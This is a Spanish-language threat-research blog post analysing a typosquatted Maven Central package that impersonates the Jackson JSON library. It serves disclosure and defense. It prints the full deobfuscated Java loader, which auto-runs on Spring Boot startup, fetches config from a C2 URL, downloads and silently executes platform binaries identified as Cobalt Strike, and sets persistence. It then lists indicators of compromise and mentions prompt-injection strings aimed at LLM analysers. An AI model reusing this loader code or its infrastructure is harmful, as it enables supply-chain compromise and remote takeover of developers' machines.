Aikido

Primer malware sofisticado descubierto en Maven Central a través de un ataque de typosquatting en Jackson

Escrito por
Charlie Eriksen

Hoy, nuestro equipo identificó un paquete malicioso (org.fasterxml.jackson.core/jackson-databind) en Maven Central, haciéndose pasar por una extensión legítima de la librería Jackson JSON. Es bastante novedoso, y es la primera vez que detectamos un malware tan sofisticado en Maven Central. Curiosamente, este cambio de enfoque hacia Maven se produce mientras otros ecosistemas, como npm, están reforzando activamente sus defensas. Dado que rara vez hemos visto ataques en este ecosistema, quisimos documentarlo para que la comunidad en general pueda unirse y proteger el ecosistema mientras este problema aún está en sus primeras etapas.

Los atacantes se han esforzado mucho en crear una carga útil multifase, con cadenas de configuración cifradas, un servidor remoto de comando y control que entrega ejecutables específicos de la plataforma, y múltiples capas de ofuscación diseñadas para dificultar el análisis. El typosquatting opera en dos niveles: el paquete malicioso utiliza el org.fasterxml.jackson.core espacio de nombres, mientras que la librería legítima de Jackson se publica bajo com.fasterxml.jackson.core. Esto refleja el dominio C2: fasterxml.org frente al real fasterxml.com. El .com con .org intercambio es lo suficientemente sutil como para pasar una inspección casual, pero está completamente controlado por el atacante.

En este momento, hemos reportado el dominio a GoDaddy y el paquete a Maven Central. El paquete fue retirado en 1,5 horas. 

El malware de un vistazo

Cuando abrimos el archivo .jar , vimos este desorden:

Uf, ¿qué está pasando aquí? ¡Me estoy mareando solo de mirarlo!

  • Está fuertemente ofuscado, como es evidente.
  • Contiene intentos de engañar a los analizadores basados en LLM mediante llamadas a new String() con inyección de prompt.
  • Cuando se visualiza en un editor que no Escape caracteres Unicode, muestra mucho ruido.

Pero no temas, con un poco de ayuda, podemos desofuscarlo hasta convertirlo en algo mucho más legible:

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Flujo del malware

Aquí tienes un resumen de cómo se ejecuta el malware:

Etapa 0: Infección. Un desarrollador añade la dependencia maliciosa a su pom.xml, creyendo que es una extensión legítima de Jackson. El paquete utiliza el org.fasterxml.jackson.core namespace, el mismo que la librería real de Jackson, para parecer fiable.

Etapa 1: Auto-ejecución. Cuando la aplicación Spring Boot se inicia, Spring busca @Configuration clases y detecta JacksonSpringAutoConfiguration. El @ConditionalOnClass({ApplicationRunner.class}) la comprobación es correcta (ApplicationRunner siempre está presente en Spring Boot), por lo que Spring registra la clase como un bean. El del malware ApplicationRunner se invoca automáticamente después de que se carga el contexto de la aplicación. No se requieren llamadas explícitas.

Fase 2: Comprobación de persistencia. El malware busca un archivo llamado .idea.pid en el directorio de trabajo. Este nombre de archivo se elige deliberadamente para mimetizarse con los archivos de proyecto de IntelliJ IDEA. Si el archivo existe, el malware asume que ya se está ejecutando y sale silenciosamente.

Fase 3: Huella digital del entorno. El malware detecta el sistema operativo comprobando System.getProperty("os.name") y comparando con win, mac/darwin, y nux/linux.

Fase 4: Contacto con C2. El malware se conecta a http://m.fasterxml[.]org:51211/config.txt, un dominio typosquatted que imita al legítimo fasterxml.com. La respuesta contiene líneas cifradas con AES, una por cada plataforma compatible.

Fase 5: Entrega de la carga útil. Cada línea de la configuración se descifra usando AES-ECB con una clave codificada (9237527890923496). El formato es os|url, por ejemplo, estos valores que encontramos al realizar ingeniería inversa del malware:

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

El malware selecciona la URL que coincide con el SO detectado y descarga el binario en el directorio temporal del sistema como payload.bin.

Fase 6: Ejecución. En sistemas Unix, el malware ejecuta chmod +x en el payload. Luego ejecuta el binario con stdout/stderr redirigido a /dev/null (Unix) o NUL (Windows) para suprimir cualquier salida. El payload de Windows se nombra svchosts.exe, un typosquat deliberado del legítimo svchost.exe proceso.

Fase 7: Persistencia. Finalmente, el malware crea el .idea.pid archivo marcador para evitar la reejecución en reinicios posteriores de la aplicación.

El dominio

El dominio typosquatted fasterxml.org fue registrado el 17 de diciembre de 2025, solo 8 días antes de nuestro análisis. Los registros WHOIS muestran que fue registrado a través de GoDaddy y actualizado el 22 de diciembre, lo que sugiere un desarrollo activo de la infraestructura maliciosa en los días previos a su despliegue.

La corta brecha entre el registro del dominio y su uso activo es un patrón común en las campañas de malware: los atacantes activan la infraestructura poco antes del despliegue para minimizar la ventana de detección y la inclusión en listas de bloqueo. La biblioteca legítima Jackson ha operado en fasterxml.com durante más de una década, lo que convierte la .org variante en una suplantación de bajo esfuerzo y alta recompensa.

Los binarios

Recuperamos los binarios y los enviamos a VirusTotal para su análisis:

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

La carga útil de Linux/macOS es identificada consistentemente como una baliza de Cobalt Strike por prácticamente todos los proveedores de detección. Cobalt Strike es una herramienta comercial de pruebas de penetración que proporciona capacidades completas de comando y control: acceso remoto, recolección de credenciales, movimiento lateral y despliegue de carga útil. Aunque diseñado para un uso legítimo por parte de equipos rojos, las versiones filtradas lo han convertido en uno de los favoritos de los operadores de ransomware y los grupos APT. Su presencia suele indicar adversarios sofisticados con intenciones que van más allá de la simple criptominería.

Oportunidades para que Maven Central proteja el ecosistema

Este ataque destaca una oportunidad para reforzar cómo los registros de paquetes gestionan la ocupación de nombres de espacio. Otros ecosistemas ya han tomado medidas para abordar este problema, y Maven Central podría beneficiarse de defensas similares.

El problema del intercambio de prefijos: Este ataque explotó un punto ciego específico: los intercambios de prefijos al estilo TLD en la convención de espacios de nombres de dominio inverso de Java. La biblioteca legítima Jackson utiliza com.fasterxml.jackson.core, mientras que el paquete malicioso utilizó org.fasterxml.jackson.core. Esto es directamente análogo al typosquatting de dominio (fasterxml.com vs. fasterxml.org), pero Maven Central parece no tener actualmente ningún mecanismo para detectarlo.

Este es un ataque simple, y esperamos imitadores. La técnica demostrada aquí: intercambiando com. por org. en el espacio de nombres de una biblioteca popular. Esto requiere una sofisticación mínima. Ahora que este enfoque ha sido documentado, anticipamos que otros atacantes intentarán intercambios de prefijos similares contra otras bibliotecas de alto valor. La ventana para implementar defensas es ahora, antes de que esto se convierta en un patrón generalizado.

Dada la simplicidad y efectividad de este ataque de intercambio de prefijos, instamos a Maven Central a considerar la implementación de:

  • Detección de similitud de prefijos. Cuando se publica un nuevo paquete bajo org.example, verificar si com.example o net.example ya existe con un volumen de descarga significativo. Si es así, marcar para revisión. La misma lógica debería aplicarse a la inversa y en todos los TLD comunes (`com, org, net, io, dev`).
  • Protección de paquetes populares. Mantenga una lista de espacios de nombres de alto valor (como com.fasterxml, com.google, org.apache) y exija verificación adicional para cualquier paquete publicado bajo espacios de nombres de apariencia similar.

Compartimos este análisis con espíritu de colaboración. El ecosistema Java ha sido un refugio relativamente seguro frente a los ataques a la cadena de suministro que han afectado a npm y PyPI en los últimos años. Las medidas proactivas ahora pueden ayudar a que siga siendo así.

IOCs

Dominios:

  • fasterxml[.]org
  • m.fasterxml[.]org

Direcciones IP:

  • 103.127.243[.]82

URLs:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binarios:

  • Payload de Windows (svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • Payload de macOS (update): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Compartir:

https://www.aikido.dev/blog/maven-central-jackson-typosquatting-malware

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Sin tarjeta

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.